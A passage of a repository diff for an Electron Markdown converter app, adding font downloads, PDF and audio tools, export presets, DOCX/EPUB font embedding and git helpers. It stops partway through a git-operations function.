  L220  method  constructor (anonymousObject3acf7ce30205)
  L240  function  getOpacity
  L250  method  constructor (anonymousObject3acf7ce30405)
 tests/git-operations.test.js:
  L26  function  asyncFn
  L35  function  asyncFnWithError
 tests/main-utils.test.js:
  L7  function  sanitizeErrorMessage
  L49  function  createRateLimiter
  L51  function  canProceed (createRateLimiter)
 tests/markdown-extensions.test.js:
  L83  method  start (extension)
  L86  method  tokenizer (extension)
  L102  method  renderer (extension)
  L151  function  plantumlEncode
  L176  function  slugify
  L203  function  scopeCSS
 tests/modal-manager.test.js:
  L11  function  createModalElement
 tests/plugin-api.test.js:
  L18  class  MyPlugin
  L19  method  init (MyPlugin)
 tests/plugin-context.test.js:
  L39  function  badHandler
 tests/plugin-loader.test.js:
  L17  function  writeManifest
 tests/plugin-registry.test.js:
  L5  class  TestPlugin
  L6  method  init (TestPlugin)
  L10  method  activate (TestPlugin)
  L13  method  deactivate (TestPlugin)
  L69  class  BadPlugin
  L70  method  init (BadPlugin)
 tests/setup.js:
  L96  function  error (console)
 tests/sidebar.test.js:
  L41  method  render (anonymousObjectfe2d35d70105)
  L52  method  render (anonymousObjectfe2d35d70205)
  L62  method  render (anonymousObjectfe2d35d70305)
  L68  method  render (anonymousObjectfe2d35d70405)
  L80  method  render (anonymousObjectfe2d35d70505)
  L88  method  render (anonymousObjectfe2d35d70605)
  L96  method  render (anonymousObjectfe2d35d70705)
  L120  method  render (anonymousObjectfe2d35d70905)
  L130  method  render (anonymousObjectfe2d35d70a05)
 tests/utils.test.js:
  L9  function  parseCommand
  L78  function  hexToRgb
  L121  function  getExtension
  L133  function  replaceExtension
 ```
@@ -106,6 +106,27 @@ function download(url, destPath) {
  });
 }
 async function downloadFiraCode() {
  const destDir = path.join(__dirname, '..', 'assets', 'fonts');
  fs.mkdirSync(destDir, { recursive: true });
  const targets = [
    { url: 'https://github.com/tonsky/FiraCode/raw/master/distr/ttf/FiraCode-Regular.ttf', out: 'FiraCode-Regular.ttf' },
    { url: 'https://github.com/tonsky/FiraCode/raw/master/distr/ttf/FiraCode-Bold.ttf',    out: 'FiraCode-Bold.ttf' },
    { url: 'https://raw.githubusercontent.com/tonsky/FiraCode/master/LICENSE',            out: 'FiraCode-LICENSE.txt' },
  ];
  for (const t of targets) {
    const destFile = path.join(destDir, t.out);
    if (fs.existsSync(destFile)) {
      console.log(`[download-tools] ${t.out} already present — skipping.`);
      continue;
    }
    console.log(`[download-tools] Downloading ${t.out}...`);
    await download(t.url, destFile);
  }
 }
 async function downloadPandoc() {
  const platform = process.platform;
  const config = PANDOC_CONFIG[platform];
@@ -142,7 +163,7 @@ async function downloadPandoc() {
  console.log(`[download-tools] pandoc ready: ${destFile}`);
 }
-downloadPandoc().catch((err) => {
+Promise.all([downloadPandoc(), downloadFiraCode()]).catch((err) => {
  console.error('[download-tools] FAILED:', err.message);
  process.exit(1);
 });
@@ -4,10 +4,7 @@
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>ASCII Art Generator - MarkdownConverter</title>
-    <link
+    <link rel="stylesheet" href="../fonts.css" />
      href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap"
      rel="stylesheet"
    />
    <style>
      :root {
        --ci-dark-gray: #464646;
@@ -140,11 +137,15 @@
      }
      .preview-content {
-        font-family: 'JetBrains Mono', monospace;
+        font-family: 'JetBrains Mono', 'Fira Code', monospace;
        font-size: 12px;
        line-height: 1.3;
        color: #00ff00;
        white-space: pre;
        font-feature-settings:
          'liga' 0,
          'calt' 0,
          'dlig' 0;
      }
      .template-grid {
@@ -73,3 +73,20 @@
  font-display: swap;
  src: url('../assets/fonts/JetBrainsMono-Bold.woff2') format('woff2');
 }
 /* Fira Code Font Family - bundled with the app */
@font-face {
  font-family: 'Fira Code';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url('../assets/fonts/FiraCode-Regular.ttf') format('truetype');
 }
@font-face {
  font-family: 'Fira Code';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url('../assets/fonts/FiraCode-Bold.ttf') format('truetype');
 }
@@ -151,7 +151,7 @@
        </div>
        <div class="toolbar-separator"></div>
        <div class="toolbar-group">
-          <!-- Insert: Link, Code, Code Block, Table, HR -->
+          <!-- Insert: Link, Code, Code Block, Table, CSV Table, HR -->
          <button id="btn-link" title="Link" aria-label="Insert link">
            <svg
              width="16"
@@ -212,6 +212,27 @@
              <line x1="15" y1="3" x2="15" y2="21"></line>
            </svg>
          </button>
          <button
            id="btn-csv-table"
            title="CSV → Table"
            aria-label="Convert selected CSV text to a markdown table"
          >
            <svg
              width="16"
              height="16"
              viewBox="0 0 24 24"
              fill="none"
              stroke="currentColor"
              stroke-width="2"
              aria-hidden="true"
            >
              <rect x="3" y="3" width="18" height="18" rx="2" ry="2"></rect>
              <line x1="3" y1="9" x2="21" y2="9"></line>
              <line x1="12" y1="9" x2="12" y2="21"></line>
              <path d="M7.5 12.5c0 1-.8 1.8-1.8 1.8"></path>
              <path d="M9 18.5c0-.8-.6-1.4-1.4-1.4"></path>
            </svg>
          </button>
          <button
            id="btn-horizontal-rule"
            title="Horizontal Rule"
@@ -331,22 +352,28 @@
          </div>
          <div class="modal-body">
            <!-- Simple/Advanced Export Toggle -->
-            <!-- Export Profiles -->
+            <!-- Export Presets (main-process persisted; see src/renderer/export-presets.js) -->
-            <div class="export-section export-profiles">
+            <div class="export-section export-presets">
-              <label>Export Profile:</label>
+              <label>Export Preset:</label>
-              <div class="profile-controls">
+              <div class="preset-controls">
-                <select id="export-profile-select">
+                <div class="preset-dropdown">
-                  <option value="">Custom Settings</option>
+                  <button
-                </select>
+                    type="button"
-                <button
+                    id="preset-dropdown-toggle"
-                  id="save-profile-btn"
+                    aria-haspopup="listbox"
-                  type="button"
+                    aria-expanded="false"
-                  title="Save current settings as profile"
+                  >
-                >
+                    Custom Settings
-                  💾 Save
+                  </button>
-                </button>
+                  <div
-                <button id="delete-profile-btn" type="button" title="Delete selected profile">
+                    id="preset-dropdown-list"
-                  🗑️ Delete
+                    class="preset-dropdown-list hidden"
                    role="listbox"
                    aria-label="Export presets"
                  ></div>
                </div>
                <button id="save-preset-btn" type="button" title="Save current settings as preset">
                  💾 Save as preset
                </button>
              </div>
              <small class="export-help">Save and reuse your favorite export configurations</small>
@@ -1953,6 +1980,210 @@
                </div>
              </div>
              <!-- Extract Text Section -->
              <div id="pdf-extract-text-section" class="pdf-operation-section hidden">
                <div class="export-section">
                  <label>PDF File:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="extract-text-input-path"
                      placeholder="Select PDF file..."
                      readonly
                    />
                    <button id="browse-extract-text-input">Browse</button>
                  </div>
                </div>
                <div class="export-section">
                  <label>Save Extracted Text As:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="extract-text-output-path"
                      placeholder="Select save location..."
                      readonly
                    />
                    <button id="browse-extract-text-output">Save As</button>
                  </div>
                  <small>Text from every page is saved to a single .txt file</small>
                </div>
              </div>
              <!-- Page Numbers Section -->
              <div id="pdf-page-numbers-section" class="pdf-operation-section hidden">
                <div class="export-section">
                  <label>PDF File:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="page-numbers-input-path"
                      placeholder="Select PDF file..."
                      readonly
                    />
                    <button id="browse-page-numbers-input">Browse</button>
                  </div>
                </div>
                <div class="export-section">
                  <label>Position:</label>
                  <select id="page-numbers-position">
                    <option value="bottom-center" selected>Bottom Center</option>
                    <option value="bottom-left">Bottom Left</option>
                    <option value="bottom-right">Bottom Right</option>
                    <option value="top-center">Top Center</option>
                    <option value="top-left">Top Left</option>
                    <option value="top-right">Top Right</option>
                  </select>
                </div>
                <div class="export-section">
                  <label>Start Number:</label>
                  <input type="number" id="page-numbers-start" min="1" value="1" placeholder="1" />
                </div>
                <div class="export-section">
                  <label class="checkbox-inline"
                    ><input type="checkbox" id="page-numbers-overwrite" /> Overwrite original
                    file</label
                  >
                </div>
                <div class="export-section" id="page-numbers-saveas-section">
                  <label>Save As:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="page-numbers-output-path"
                      placeholder="Select save location..."
                      readonly
                    />
                    <button id="browse-page-numbers-output">Save As</button>
                  </div>
                </div>
              </div>
              <!-- Crop Pages Section -->
              <div id="pdf-crop-section" class="pdf-operation-section hidden">
                <div class="export-section">
                  <label>PDF File:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="crop-input-path"
                      placeholder="Select PDF file..."
                      readonly
                    />
                    <button id="browse-crop-input">Browse</button>
                  </div>
                </div>
                <div class="export-section">
                  <label>Crop Margins (points):</label>
                  <div class="checkbox-group">
                    <label
                      >Top: <input type="number" id="crop-margin-top" min="0" value="0"
                    /></label>
                    <label
                      >Bottom: <input type="number" id="crop-margin-bottom" min="0" value="0"
                    /></label>
                    <label
                      >Left: <input type="number" id="crop-margin-left" min="0" value="0"
                    /></label>
                    <label
                      >Right: <input type="number" id="crop-margin-right" min="0" value="0"
                    /></label>
                  </div>
                  <small>1 point = 1/72 inch. Margins are trimmed from each edge.</small>
                </div>
                <div class="export-section">
                  <label class="checkbox-inline"
                    ><input type="checkbox" id="crop-overwrite" /> Overwrite original file</label
                  >
                </div>
                <div class="export-section" id="crop-saveas-section">
                  <label>Save As:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="crop-output-path"
                      placeholder="Select save location..."
                      readonly
                    />
                    <button id="browse-crop-output">Save As</button>
                  </div>
                </div>
              </div>
              <!-- Extract Images Section -->
              <div id="pdf-extract-images-section" class="pdf-operation-section hidden">
                <div class="export-section">
                  <label>PDF File:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="extract-images-input-path"
                      placeholder="Select PDF file..."
                      readonly
                    />
                    <button id="browse-extract-images-input">Browse</button>
                  </div>
                </div>
                <div class="export-section">
                  <label>Output Folder:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="extract-images-output-folder"
                      placeholder="Select output folder..."
                      readonly
                    />
                    <button id="browse-extract-images-output">Browse</button>
                  </div>
                  <small>Each embedded image is saved as a separate PNG file</small>
                </div>
              </div>
              <!-- Fill Form Section -->
              <div id="pdf-fill-form-section" class="pdf-operation-section hidden">
                <div class="export-section">
                  <label>PDF File:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="fill-form-input-path"
                      placeholder="Select PDF file..."
                      readonly
                    />
                    <button id="browse-fill-form-input">Browse</button>
                  </div>
                </div>
                <div class="export-section">
                  <label>Form Fields:</label>
                  <div id="fill-form-fields-list" class="fill-form-fields-list">
                    <small>Select a PDF with fillable fields to list them here.</small>
                  </div>
                </div>
                <div class="export-section">
                  <label class="checkbox-inline"
                    ><input type="checkbox" id="fill-form-flatten" /> Flatten after fill (makes
                    fields non-editable)</label
                  >
                </div>
                <div class="export-section">
                  <label class="checkbox-inline"
                    ><input type="checkbox" id="fill-form-overwrite" /> Overwrite original
                    file</label
                  >
                </div>
                <div class="export-section" id="fill-form-saveas-section">
                  <label>Save As:</label>
                  <div class="folder-input-group">
                    <input
                      type="text"
                      id="fill-form-output-path"
                      placeholder="Select save location..."
                      readonly
                    />
                    <button id="browse-fill-form-output">Save As</button>
                  </div>
                </div>
              </div>
              <div id="pdf-status-message" class="info-message hidden" aria-live="polite"></div>
              <!-- Progress indicator -->
@@ -2150,6 +2381,56 @@
        </div>
      </div>
      <!-- Word Template Settings Dialog -->
      <div
        id="word-template-dialog"
        class="modal hidden"
        role="dialog"
        aria-modal="true"
        aria-labelledby="word-template-title"
      >
        <div class="modal-backdrop" data-close></div>
        <div class="modal-content">
          <div class="modal-header">
            <h3 id="word-template-title">Word Template Settings</h3>
            <button class="modal-close" id="word-template-close" aria-label="Close">&times;</button>
          </div>
          <div class="modal-body">
            <div class="wt-status-section">
              <div id="word-template-status" class="wt-status wt-status-none">
                <div class="wt-status-icon" aria-hidden="true">&#128196;</div>
                <div class="wt-status-text">
                  <div id="word-template-status-title" class="wt-status-title">
                    No template selected
                  </div>
                  <div id="word-template-status-detail" class="wt-status-detail">
                    Using default formatting
                  </div>
                </div>
              </div>
              <div class="wt-status-actions">
                <button id="word-template-browse" class="browse-btn">Browse...</button>
                <button id="word-template-clear" class="clear-btn">Clear</button>
              </div>
            </div>
            <div class="wt-startpage-section">
              <label for="word-template-start-page">Content starts from page</label>
              <input type="number" id="word-template-start-page" min="1" max="100" value="3" />
              <p class="wt-help">
                Templates usually reserve the first pages for a cover sheet and table of contents;
                your Markdown content is inserted starting from this page. Ignored when no template
                is selected.
              </p>
            </div>
          </div>
          <div class="modal-footer">
            <button id="word-template-cancel" class="btn btn-secondary" data-close>Cancel</button>
            <button id="word-template-save" class="btn btn-primary">Save Settings</button>
          </div>
        </div>
      </div>
      <div class="main-content" id="main-content">
        <!-- Sidebar -->
        <div class="sidebar collapsed" id="sidebar">
@@ -2402,6 +2683,65 @@
                </svg>
                <span>Decrypt</span>
              </button>
              <button id="pdf-tb-extract-text" class="pdf-editor-btn" title="Extract Text">
                <svg
                  width="14"
                  height="14"
                  viewBox="0 0 24 24"
                  fill="none"
                  stroke="currentColor"
                  stroke-width="2"
                >
                  <path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"></path>
                  <polyline points="14 2 14 8 20 8"></polyline>
                  <line x1="8" y1="13" x2="16" y2="13"></line>
                  <line x1="8" y1="17" x2="16" y2="17"></line>
                </svg>
                <span>Extract Text</span>
              </button>
              <button id="pdf-tb-page-numbers" class="pdf-editor-btn" title="Add Page Numbers">
                <svg
                  width="14"
                  height="14"
                  viewBox="0 0 24 24"
                  fill="none"
                  stroke="currentColor"
                  stroke-width="2"
                >
                  <rect x="3" y="3" width="18" height="18" rx="1"></rect>
                  <text x="8" y="17" font-size="10" stroke="none" fill="currentColor">#</text>
                </svg>
                <span>Page #s</span>
              </button>
              <button id="pdf-tb-crop" class="pdf-editor-btn" title="Crop Pages">
                <svg
                  width="14"
                  height="14"
                  viewBox="0 0 24 24"
                  fill="none"
                  stroke="currentColor"
                  stroke-width="2"
                >
                  <path d="M6 2v14a2 2 0 002 2h14"></path>
                  <path d="M18 22V8a2 2 0 00-2-2H2"></path>
                </svg>
                <span>Crop</span>
              </button>
              <button id="pdf-tb-extract-images" class="pdf-editor-btn" title="Extract Images">
                <svg
                  width="14"
                  height="14"
                  viewBox="0 0 24 24"
                  fill="none"
                  stroke="currentColor"
                  stroke-width="2"
                >
                  <rect x="3" y="3" width="18" height="18" rx="2" ry="2"></rect>
                  <circle cx="8.5" cy="8.5" r="1.5"></circle>
                  <polyline points="21 15 16 10 5 21"></polyline>
                </svg>
                <span>Images</span>
              </button>
              <div class="pdf-toolbar-separator"></div>
              <!-- File Info and Close -->
              <span id="pdf-filename" class="pdf-filename"></span>
@@ -0,0 +1,171 @@
 /**
 * Audio Operations Module
 *
 * Handles audio manipulation via `ffmpeg`: format conversion, trim, extract (audio
 * track from video/audio), and merge (concat demuxer). Because ffmpeg is an external
 * binary, this module is split into pure/testable argument-builder functions and a
 * single `executeOperation` that is the only piece which actually spawns ffmpeg —
 * the ffmpeg binary path and the `execFile` implementation are both injected so tests
 * can replace them with fakes, without invoking a real binary.
 *
 * @module AudioOperations
 */
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const { execFile } = require('child_process');
 /**
 * Build args for a straight format conversion. ffmpeg infers the output format from
 * outputPath's extension; only pass -f explicitly when format is given and differs
 * from that extension.
 */
 function buildConvertArgs({ inputPath, outputPath, format }) {
  const args = ['-i', inputPath, '-y'];
  if (format) {
    const ext = path.extname(outputPath).replace(/^\./, '').toLowerCase();
    if (format.toLowerCase() !== ext) {
      args.push('-f', format);
    }
  }
  args.push(outputPath);
  return args;
 }
 /**
 * Build args to trim inputPath to [startTime, startTime + duration) seconds.
 * startTime/duration must be finite, non-negative numbers — they become argv
 * elements passed straight to execFile with no shell involved, so there's no
 * injection risk, but malformed values should still fail fast rather than reach
 * ffmpeg with garbage.
 */
 function buildTrimArgs({ inputPath, outputPath, startTime, duration }) {
  const isValid = (n) => typeof n === 'number' && Number.isFinite(n) && n >= 0;
  if (!isValid(startTime) || !isValid(duration)) {
    throw new Error('Invalid trim range');
  }
  return ['-i', inputPath, '-ss', String(startTime), '-t', String(duration), '-y', outputPath];
 }
 /**
 * Build args to extract the audio track (stream copy, no video, no re-encode).
 * If codec copy fails, executeOperation's 'extract' case retries without -acodec copy.
 */
 function buildExtractArgs({ inputPath, outputPath }) {
  return ['-i', inputPath, '-vn', '-acodec', 'copy', '-y', outputPath];
 }
 /**
 * Fallback extract args that let ffmpeg transcode instead of stream-copying.
 */
 function buildExtractFallbackArgs({ inputPath, outputPath }) {
  return ['-i', inputPath, '-vn', '-y', outputPath];
 }
 /**
 * Build args to merge 2+ files via the concat demuxer. Returns both concatListContent
 * (the `file '<path>'` lines the caller writes to a temp list file) and args — the
 * caller doesn't know the temp list file's path until it creates it, so tempListPath
 * is an optional param: executeOperation's 'merge' case calls this once to obtain
 * concatListContent, writes it to disk, then calls it again with the real
 * tempListPath to obtain the final args referencing that file.
 */
 function buildMergeArgs({ inputPaths, outputPath, tempListPath = null }) {
  if (!Array.isArray(inputPaths) || inputPaths.length < 2) {
    throw new Error('inputPaths must contain at least 2 files');
  }
  const concatListContent = inputPaths.map((p) => `file '${p}'`).join('\n') + '\n';
  const args = ['-f', 'concat', '-safe', '0', '-i', tempListPath, '-c', 'copy', '-y', outputPath];
  return { args, concatListContent };
 }
 /**
 * Run ffmpeg with the given args via the injected execFileFn, wrapped in a Promise.
 */
 function runFfmpeg(ffmpegPath, args, execFileFn) {
  return new Promise((resolve, reject) => {
    execFileFn(ffmpegPath, args, { maxBuffer: 10 * 1024 * 1024 }, (error, stdout, stderr) => {
      if (error) {
        reject(new Error(stderr || error.message));
        return;
      }
      resolve();
    });
  });
 }
 async function executeOperation(operation, data, { ffmpegPath, execFileFn } = {}) {
  const resolvedFfmpegPath = ffmpegPath || 'ffmpeg';
  const resolvedExecFileFn = execFileFn || execFile;
  switch (operation) {
    case 'convert': {
      const { inputPath, outputPath, format } = data || {};
      const args = buildConvertArgs({ inputPath, outputPath, format });
      await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      return { success: true, outputPath };
    }
    case 'trim': {
      const { inputPath, outputPath, startTime, duration } = data || {};
      const args = buildTrimArgs({ inputPath, outputPath, startTime, duration });
      await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      return { success: true, outputPath };
    }
    case 'extract': {
      const { inputPath, outputPath } = data || {};
      try {
        const args = buildExtractArgs({ inputPath, outputPath });
        await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      } catch {
        // Codec copy can fail when the source audio codec isn't valid in the target
        // container — fall back to letting ffmpeg transcode instead.
        const fallbackArgs = buildExtractFallbackArgs({ inputPath, outputPath });
        await runFfmpeg(resolvedFfmpegPath, fallbackArgs, resolvedExecFileFn);
      }
      return { success: true, outputPath };
    }
    case 'merge': {
      const { inputPaths, outputPath } = data || {};
      const { concatListContent } = buildMergeArgs({ inputPaths, outputPath });
      const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'audio-merge-'));
      const tempListPath = path.join(tempDir, 'concat-list.txt');
      try {
        fs.writeFileSync(tempListPath, concatListContent, 'utf8');
        const { args } = buildMergeArgs({ inputPaths, outputPath, tempListPath });
        await runFfmpeg(resolvedFfmpegPath, args, resolvedExecFileFn);
      } finally {
        try {
          fs.rmSync(tempDir, { recursive: true, force: true });
        } catch {
          /* best-effort cleanup */
        }
      }
      return { success: true, outputPath };
    }
    default:
      throw new Error(`Unknown operation: ${operation}`);
  }
 }
 module.exports = {
  executeOperation,
  buildConvertArgs,
  buildTrimArgs,
  buildExtractArgs,
  buildMergeArgs,
 };
@@ -0,0 +1,126 @@
 'use strict';
 const fs = require('fs');
 const path = require('path');
 const JSZip = require('jszip');
 const REL_NS = 'http://schemas.openxmlformats.org/package/2006/relationships';
 function generatedRId(idx) {
  return `rIdFont${idx}`;
 }
 async function patchZipWithFonts(inputPath, fonts) {
  const buf = fs.readFileSync(inputPath);
  const zip = await JSZip.loadAsync(buf);
  const existingFontNames = new Set();
  // Detect prior embeds (idempotency: skip TTF files already present).
  for (const f of Object.keys(zip.files)) {
    if (zip.files[f].name && /^word\/fonts\//.test(zip.files[f].name)) {
      existingFontNames.add(path.basename(f));
    }
  }
  for (let i = 0; i < fonts.length; i++) {
    const { path: fontPath } = fonts[i];
    const fname = path.basename(fontPath);
    const wordPath = `word/fonts/${fname}`;
    if (!existingFontNames.has(fname)) {
      zip.file(wordPath, fs.readFileSync(fontPath));
      existingFontNames.add(fname);
    }
  }
  // Build/replace word/fontTable.xml so Word knows the family and where to
  // fetch the embedded TTF data.
  const fontTableXml =
    `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n` +
    `<w:fonts xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/main">\n` +
    fonts
      .map(
        (f, i) =>
          `  <w:font w:name="${f.family}"><w:embedRegular r:id="${generatedRId(i)}" xmlns:r="${REL_NS}"/></w:font>`
      )
      .join('\n') +
    `\n</w:fonts>\n`;
  zip.file('word/fontTable.xml', fontTableXml);
  // Patch [Content_Types].xml — add Override for /word/fontTable.xml and each TTF.
  const ctPath = '[Content_Types].xml';
  let ct = await zip.file(ctPath).async('string');
  if (!ct.includes('PartName="/word/fontTable.xml"')) {
    ct = ct.replace(
      '</Types>',
      '<Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/></Types>'
    );
  }
  for (const f of fonts) {
    const ttfCt = 'application/x-font-ttf';
    const filePart = `/word/fonts/${path.basename(f.path)}`;
    if (!ct.includes(`PartName="${filePart}"`)) {
      ct = ct.replace(
        '</Types>',
        `<Override PartName="${filePart}" ContentType="${ttfCt}"/></Types>`
      );
    }
  }
  if (!ct.includes('Default Extension="ttf"')) {
    ct = ct.replace(
      '</Types>',
      '<Default Extension="ttf" ContentType="application/x-font-ttf"/></Types>'
    );
  }
  zip.file(ctPath, ct);
  // Patch word/_rels/document.xml.rels — relationships for fontTable + each font.
  const relsPath = 'word/_rels/document.xml.rels';
  if (!zip.files[relsPath]) {
    zip.file(
      relsPath,
      `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<Relationships xmlns="${REL_NS}"/>`
    );
  }
  let rels = await zip.file(relsPath).async('string');
  if (!rels.includes('fontTable.xml')) {
    rels = rels.replace(
      '</Relationships>',
      `<Relationship Id="${generatedRId(fonts.length)}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/></Relationships>`
    );
  }
  for (let i = 0; i < fonts.length; i++) {
    const fname = path.basename(fonts[i].path);
    if (!rels.includes(fname)) {
      rels = rels.replace(
        '</Relationships>',
        `<Relationship Id="${generatedRId(i)}" Type="http://schemas.microsoft.com/office/2011/relationships/font" Target="fonts/${fname}"/></Relationships>`
      );
    }
  }
  zip.file(relsPath, rels);
  // Patch word/styles.xml — bind SourceCode/VerbatimChar styles to the family.
  const stylesPath = 'word/styles.xml';
  if (zip.files[stylesPath]) {
    let styles = await zip.file(stylesPath).async('string');
    const family = fonts[0].family;
    if (!styles.includes(`w:ascii="${family}"`)) {
      styles = styles.replace(
        /(<w:style[^>]*w:styleId="(?:SourceCode|VerbatimChar)"[^>]*>)/,
        `$1<w:rPr><w:rFonts w:ascii="${family}" w:hAnsi="${family}" w:cs="${family}"/></w:rPr>`
      );
    }
    zip.file(stylesPath, styles);
  }
  const outBuf = await zip.generateAsync({ type: 'nodebuffer' });
  fs.writeFileSync(inputPath, outBuf);
  return inputPath;
 }
 async function embed(docxPath, fonts) {
  return patchZipWithFonts(docxPath, fonts);
 }
 module.exports = { embed };
@@ -0,0 +1,44 @@
 'use strict';
 const fs = require('fs');
 const path = require('path');
 const JSZip = require('jszip');
 // Patches an EPUB produced by pandoc so it embeds the supplied TTF font files
 // inside the OEBPS and registers them in the OPF manifest. Used after
 // `pandoc --epub-embed-font=...` runs (which embeds the font data) but does
 // not always add the manifest item we need for readers to discover the font.
 //
 // Writes a new file at `${epubPath}.patched.epub` and returns the patched path.
 // Caller should overwrite the original after a successful export.
 async function patchManifest(epubPath, fonts) {
  const zip = await JSZip.loadAsync(fs.readFileSync(epubPath));
  const opfPath = Object.keys(zip.files).find((f) => f.endsWith('content.opf'));
  if (!opfPath) throw new Error('EPUB has no content.opf');
  let opf = await zip.file(opfPath).async('string');
  for (const { path: fontPath, family, weight } of fonts) {
    const filename = path.basename(fontPath);
    const inFontDir = `OEBPS/fonts/${filename}`;
    zip.file(inFontDir, fs.readFileSync(fontPath));
    if (!opf.includes(filename)) {
      const safeFamily = String(family || 'Font').replace(/\s+/g, '-');
      const item = `<item id="font-${safeFamily}-${weight}" href="${inFontDir}" media-type="application/x-font-ttf"/>`;
      if (opf.includes('</manifest>')) {
        opf = opf.replace('</manifest>', `${item}</manifest>`);
      } else {
        // OPF without a manifest element (unusual but tolerated): inject one
        // just before </package> so the font item is still discoverable.
        opf = opf.replace('</package>', `<manifest>${item}</manifest></package>`);
      }
    }
  }
  zip.file(opfPath, opf);
  const buf = await zip.generateAsync({ type: 'nodebuffer' });
  const tmp = `${epubPath}.patched.epub`;
  fs.writeFileSync(tmp, buf);
  return tmp;
 }
 module.exports = { patchManifest };
@@ -0,0 +1,34 @@
 'use strict';
 const fs = require('fs');
 function toDataUri(filePath) {
  const buf = fs.readFileSync(filePath);
  return `data:font/woff2;base64,${buf.toString('base64')}`;
 }
 function build({ activeFontPath, family, weight = 400, ligatures = false }) {
  const features = ligatures ? 'normal' : "'liga' 0, 'calt' 0, 'dlig' 0";
  const faceBlock = activeFontPath
    ? `@font-face {
  font-family: '${family}';
  font-weight: ${weight};
  font-style: normal;
  font-display: swap;
  src: url('${toDataUri(activeFontPath)}') format('woff2');
 }
 `
    : '';
  return `${faceBlock}code, pre, kbd, samp {
  font-family: '${family}', monospace;
  font-feature-settings: ${features};
 }
 pre, code {
  white-space: pre;
  tab-size: 4;
 }
 `;
 }
 module.exports = { build };
@@ -0,0 +1,92 @@
 'use strict';
 /**
 * Export preset persistence (Task 21 — export presets/profiles).
 *
 * Pure list operations over the `exportPresets` array kept in the app's
 * settings.json store (the `store.get`/`store.set` helpers defined in
 * src/main.js — the same store that holds headerFooterSettings and
 * pageSettings). The store is injected so the logic is unit-testable with a
 * fake store (see tests/main/ExportPresets.test.js); src/main.js wires these
 * functions to the get-export-presets / save-export-preset /
 * delete-export-preset invoke channels.
 *
 * Preset shape: { id: string, name: string, format: string|null, options: object }
 * — `options` is the export-options snapshot captured from the renderer's
 * export dialog, so selecting a preset can pre-fill that dialog exactly.
 */
 const PRESET_KEY = 'exportPresets';
 const MAX_PRESETS = 50;
 const MAX_NAME_LENGTH = 100;
 /**
 * Read the stored presets, defensively skipping corrupt data.
 * @param {{get: Function, set: Function}} store settings store
 * @returns {Array<{id: string, name: string, format: string|null, options: Object}>}
 */
 function loadPresets(store) {
  const stored = store.get(PRESET_KEY, []);
  if (!Array.isArray(stored)) return [];
  return stored.filter(
    (preset) =>
      preset &&
      typeof preset === 'object' &&
      typeof preset.id === 'string' &&
      typeof preset.name === 'string'
  );
 }
 /**
 * Validate, normalize, and upsert a preset by id. A missing id gets a newly
 * generated one (insert); an id that already exists is replaced (update).
 * @param {{get: Function, set: Function}} store settings store
 * @param {{id?: string, name?: string, format?: string, options?: Object}} preset
 * @returns {Array} the updated preset list (also persisted)
 * @throws when the preset is not an object, the name is empty, or the cap is hit
 */
 function savePreset(store, preset) {
  if (!preset || typeof preset !== 'object') {
    throw new Error('Preset must be an object');
  }
  const name = typeof preset.name === 'string' ? preset.name.trim().slice(0, MAX_NAME_LENGTH) : '';
  if (!name) {
    throw new Error('Preset name is required');
  }
  const options = preset.options && typeof preset.options === 'object' ? preset.options : {};
  const format = typeof preset.format === 'string' ? preset.format : null;
  const presets = loadPresets(store);
  const id = typeof preset.id === 'string' && preset.id ? preset.id : createPresetId();
  const entry = { id, name, format, options };
  const index = presets.findIndex((existing) => existing.id === id);
  if (index >= 0) {
    presets[index] = entry;
  } else {
    if (presets.length >= MAX_PRESETS) {
      throw new Error(`Cannot store more than ${MAX_PRESETS} export presets`);
    }
    presets.push(entry);
  }
  store.set(PRESET_KEY, presets);
  return presets;
 }
 /**
 * Remove the preset with the given id (idempotent).
 * @param {{get: Function, set: Function}} store settings store
 * @param {string} presetId
 * @returns {Array} the updated preset list (also persisted)
 */
 function deletePreset(store, presetId) {
  const presets = loadPresets(store).filter((preset) => preset.id !== presetId);
  store.set(PRESET_KEY, presets);
  return presets;
 }
 function createPresetId() {
  return `preset-${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 8)}`;
 }
 module.exports = { loadPresets, savePreset, deletePreset, PRESET_KEY, MAX_PRESETS };
@@ -41,4 +41,55 @@ async function log(dir, maxCount = 20) {
  }
 }
-module.exports = { getStatus, stage, commit, log };
+// againstHead=true compares the working tree (staged + unstaged) against the last
 // commit instead of against the index — used by the Document Compare dialog's
 // "Git HEAD" mode. Default behavior (worktree vs index) is unchanged.
 async function diff(dir, file, againstHead = false) {
  try {
    const git = getGitInstance(dir);
    if (againstHead) {
      return file ? await git.diff(['HEAD', '--', file]) : await git.diff('HEAD');
    }
    return file ? await git.diff([file]) : await git.diff();
  } catch (err) {
    return { error: err.message };
  }
 }
 async function branches(dir) {
  try {
    const git = getGitInstance(dir);
    return await git.branchLocal();
  } catch (err) {
    return { error: err.message };
  }
 }
 async function checkoutBranch(dir, name, isNew) {
